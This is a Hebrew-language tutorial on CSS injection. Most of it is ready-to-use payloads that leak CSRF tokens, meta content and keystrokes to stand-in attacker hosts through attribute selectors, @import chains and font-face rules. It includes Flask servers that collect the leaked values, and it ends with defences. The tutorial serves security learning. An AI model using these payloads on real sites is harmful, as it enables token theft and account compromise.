הזרקת CSS ואקספילטרציה - CSS Injection and Exfiltration¶
הזרקת CSS - יסודות¶
הזרקת CSS מתרחשת כאשר תוקף יכול להחדיר תוכן CSS לדף. למרות ש-CSS אינו שפת תכנות, ניתן לנצל אותו לחילוץ מידע רגיש מהדף.
נקודות הזרקה נפוצות¶
<!-- הזרקה דרך style attribute -->
<div style="USER_INPUT_HERE"></div>
<!-- הזרקה דרך תגית style -->
<style>
.widget { color: USER_INPUT_HERE; }
</style>
<!-- הזרקה דרך CSS import -->
<link rel="stylesheet" href="https://example.com/style?theme=USER_INPUT">
דוגמה להזרקה:
קלט: red; } body { background: url(https://attacker.com/css-injected) } .x {
תוצאה:
<style>
.widget { color: red; }
body { background: url(https://attacker.com/css-injected) }
.x { }
</style>
חילוץ מידע עם Attribute Selectors¶
הטכניקה המרכזית - שימוש ב-CSS attribute selectors כדי לזהות ערכים של שדות input:
/* בדיקה אם ערך input מתחיל ב-'a' */
input[value^="a"] {
background: url(https://attacker.com/exfil?char=a);
}
/* בדיקה אם ערך input מתחיל ב-'b' */
input[value^="b"] {
background: url(https://attacker.com/exfil?char=b);
}
/* וכן הלאה לכל תו אפשרי */
כאשר הדפדפן מוצא input שערכו מתחיל ב-a, הוא טוען את ה-URL של התוקף. התוקף יודע את התו הראשון.
חילוץ CSRF token¶
אם בדף יש input מוסתר עם CSRF token:
ה-CSS של התוקף:
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?v=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?v=b); }
/* ... */
input[name="csrf_token"][value^="a7"] { background: url(https://attacker.com/exfil?v=a7); }
input[name="csrf_token"][value^="a8"] { background: url(https://attacker.com/exfil?v=a8); }
/* ... */
הבעיה: צריך לשלוח CSS חדש לכל תו, כי צריך לדעת את התו הקודם לפני שבודקים את הבא.
טכניקת Sequential Import¶
פתרון לבעיית החילוץ הסדרתי - שימוש ב-CSS import שרץ שוב ושוב:
השרת מחזיר CSS עם כל האפשרויות לתו הראשון:
/* תגובה מהשרת - step1 */
input[name="csrf"][value^="0"] { background: url(https://attacker.com/leak?p=0); }
input[name="csrf"][value^="1"] { background: url(https://attacker.com/leak?p=1); }
input[name="csrf"][value^="2"] { background: url(https://attacker.com/leak?p=2); }
/* ... עד z, 0-9 */
כשהתוקף מקבל hit ל-?p=a, הוא יודע שהתו הראשון הוא a. עכשיו ה-import הבא:
/* תגובה מהשרת - step2 (אחרי שגילינו 'a') */
input[name="csrf"][value^="a0"] { background: url(https://attacker.com/leak?p=a0); }
input[name="csrf"][value^="a1"] { background: url(https://attacker.com/leak?p=a1); }
/* ... */
אוטומציה עם שרת¶
from flask import Flask, request, Response
import string
app = Flask(__name__)
leaked = ""
charset = string.ascii_lowercase + string.digits
@app.route('/exfil/start')
def start():
css = generate_css("")
return Response(css, mimetype='text/css')
@app.route('/leak')
def leak():
global leaked
leaked = request.args.get('p', '')
print(f'[+] Leaked so far: {leaked}')
return '', 200
@app.route('/exfil/next')
def next_step():
css = generate_css(leaked)
return Response(css, mimetype='text/css')
def generate_css(prefix):
rules = []
for char in charset:
value = prefix + char
rules.append(
f'input[name="csrf_token"][value^="{value}"]'
f'{{ background: url(https://attacker.com/leak?p={value}); }}'
)
# import לשלב הבא
rules.append(f'@import url(https://attacker.com/exfil/next?t={len(prefix)+1});')
return '\n'.join(rules)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
טכניקת Font-Face Unicode-Range¶
טכניקה מתקדמת יותר שמשתמשת ב-@font-face עם unicode-range כדי לזהות תווים ספציפיים:
@font-face {
font-family: exfil;
src: url(https://attacker.com/leak?char=a);
unicode-range: U+0061; /* 'a' */
}
@font-face {
font-family: exfil;
src: url(https://attacker.com/leak?char=b);
unicode-range: U+0062; /* 'b' */
}
/* הפעלה על אלמנט שמכיל את הטקסט */
.target-element {
font-family: exfil, sans-serif;
}
כאשר הדפדפן מרנדר טקסט עם התו a, הוא טוען את הגופן מ-URL של התוקף.
יתרונות¶
- עובד על תוכן טקסט (לא רק attribute values)
- ניתן לזהות אילו תווים קיימים בטקסט
חסרונות¶
- לא שומר על סדר התווים
- מזהה רק קיום, לא מיקום
- חלק מהדפדפנים לא תומכים בטעינה לפי unicode-range
CSS Keylogger¶
רעיון תיאורטי - שימוש ב-CSS attribute selectors כדי לתעד הקלדות:
/* "keylogger" ב-CSS - עובד רק עם input שהערך שלו מתעדכן ב-attribute */
input[value$="a"] { background: url(https://attacker.com/key?k=a); }
input[value$="b"] { background: url(https://attacker.com/key?k=b); }
input[value$="c"] { background: url(https://attacker.com/key?k=c); }
/* ... לכל תו */
מגבלות:
- ב-React/Angular שמעדכנים את ה-value attribute, זה עלול לעבוד
- ב-HTML רגיל, value attribute לא מתעדכן אוטומטית עם ההקלדה
- הדפדפן שולח בקשה רק פעם אחת לכל URL (caching)
גרסה עם React¶
/* React מעדכן את value attribute */
input[value$="p"] { background: url(https://attacker.com/log?last=p); }
input[value$="pa"] { background: url(https://attacker.com/log?last=pa); }
input[value$="pas"] { background: url(https://attacker.com/log?last=pas); }
input[value$="pass"] { background: url(https://attacker.com/log?last=pass); }
ניצול Scroll-to-Text Fragment¶
טכניקת scroll-to-text מאפשרת קישור לטקסט ספציפי בדף:
ניתן לשלב עם CSS כדי לזהות אם טקסט קיים:
/* אם הדפדפן גולל לטקסט, האלמנט מקבל pseudo-class */
:target::before {
content: url(https://attacker.com/found);
}
מגבלות: עובד רק ב-Chrome, ולא תמיד עם CSS.
CSS Exfiltration Payload מלא¶
payload שמחלץ CSRF token מ-hidden input¶
/* Step 1: חילוץ תו ראשון */
input[name="csrf"][value^="0"]{--x:url(https://evil.com/l?v=0)}
input[name="csrf"][value^="1"]{--x:url(https://evil.com/l?v=1)}
input[name="csrf"][value^="2"]{--x:url(https://evil.com/l?v=2)}
input[name="csrf"][value^="3"]{--x:url(https://evil.com/l?v=3)}
input[name="csrf"][value^="4"]{--x:url(https://evil.com/l?v=4)}
input[name="csrf"][value^="5"]{--x:url(https://evil.com/l?v=5)}
input[name="csrf"][value^="6"]{--x:url(https://evil.com/l?v=6)}
input[name="csrf"][value^="7"]{--x:url(https://evil.com/l?v=7)}
input[name="csrf"][value^="8"]{--x:url(https://evil.com/l?v=8)}
input[name="csrf"][value^="9"]{--x:url(https://evil.com/l?v=9)}
input[name="csrf"][value^="a"]{--x:url(https://evil.com/l?v=a)}
input[name="csrf"][value^="b"]{--x:url(https://evil.com/l?v=b)}
input[name="csrf"][value^="c"]{--x:url(https://evil.com/l?v=c)}
input[name="csrf"][value^="d"]{--x:url(https://evil.com/l?v=d)}
input[name="csrf"][value^="e"]{--x:url(https://evil.com/l?v=e)}
input[name="csrf"][value^="f"]{--x:url(https://evil.com/l?v=f)}
/* שימוש ב-custom property כדי לטעון רק כשמתאים */
input[name="csrf"] {
background: var(--x);
}
שרת לקבלת המידע¶
from flask import Flask, request
import time
app = Flask(__name__)
exfiltrated = {}
@app.route('/l')
def leak():
value = request.args.get('v', '')
timestamp = time.time()
exfiltrated[timestamp] = value
print(f'[{time.strftime("%H:%M:%S")}] Leaked: {value}')
return '', 200
@app.route('/status')
def status():
# הצגת כל המידע שנגנב
sorted_leaks = sorted(exfiltrated.items())
result = '\n'.join([f'{ts}: {val}' for ts, val in sorted_leaks])
return result, 200, {'Content-Type': 'text/plain'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8443, ssl_context='adhoc')
מגבלות מעשיות¶
הגבלות הדפדפן¶
- דפדפנים מבצעים caching של בקשות background-image
- חלק מהדפדפנים לא טוענים background-image על hidden elements
display: noneמונע טעינת backgroundtype="hidden"על input לא תמיד מציג background
עקיפות למגבלות¶
/* הפיכת hidden input ל-visible */
input[type="hidden"][name="csrf"] {
display: block !important;
position: absolute;
width: 1px;
height: 1px;
overflow: hidden;
}
/* שימוש ב-::after pseudo-element */
input[name="csrf"][value^="a"]::after {
content: url(https://attacker.com/leak?v=a);
}
/* שימוש ב-list-style-image במקום background */
input[name="csrf"][value^="a"] {
list-style-image: url(https://attacker.com/leak?v=a);
}
הזרקת CSS מתקדמת - ללא תגית style¶
כאשר יש injection point ב-attribute:
ניתן להשתמש ב-attribute injection:
קלט: x" style="background:url(https://attacker.com/injected)" class="y
תוצאה: <div class="x" style="background:url(https://attacker.com/injected)" class="y"></div>
כאשר יש injection ב-style attribute:
קלט: ;background:url(https://attacker.com/injected)
תוצאה: <div style="color:red;background:url(https://attacker.com/injected)"></div>
חילוץ מידע מ-meta tags¶
/* חילוץ תוכן meta tag */
meta[name="csrf-token"][content^="a"] ~ * {
background: url(https://attacker.com/leak?v=a);
}
/* meta tags הם בדרך כלל ב-head ולא visible */
/* צריך להשתמש ב-sibling selector */
head, head * {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://attacker.com/leak?v=a);
display: block;
}
הגנה¶
CSP מחמיר לסגנונות¶
הימנעות מהזרקת CSS¶
// לא לשים קלט משתמש בתוך CSS
// רע:
element.style.color = userInput;
element.setAttribute('style', 'color: ' + userInput);
// טוב:
let allowedColors = ['red', 'blue', 'green'];
if (allowedColors.includes(userInput)) {
element.style.color = userInput;
}
שימוש ב-CSS sanitization¶
// ניקוי ערכי CSS
function sanitizeCSSValue(value) {
// מסיר url(), expression(), import, וכו'
return value.replace(/url\s*\(/gi, '')
.replace(/expression\s*\(/gi, '')
.replace(/@import/gi, '')
.replace(/javascript:/gi, '')
.replace(/;/g, '');
}
הפרדת CSRF tokens מ-DOM¶
// במקום hidden input, שמור token ב-JavaScript בלבד
// לא נגיש ל-CSS selectors
const csrfToken = (function() {
let token = null;
return {
set: function(t) { token = t; },
get: function() { return token; }
};
})();
סיכום¶
הזרקת CSS היא טכניקת תקיפה שמאפשרת חילוץ מידע רגיש מדפי HTML ללא JavaScript. הטכניקה מנצלת attribute selectors ו-background URLs כדי לשלוח מידע לשרת התוקף. למרות מגבלות מעשיות, היא יעילה במיוחד לחילוץ CSRF tokens ומידע מ-hidden inputs. ההגנה דורשת CSP מחמיר, הימנעות מהחדרת קלט משתמש לתוך CSS, והפרדת מידע רגיש מ-DOM.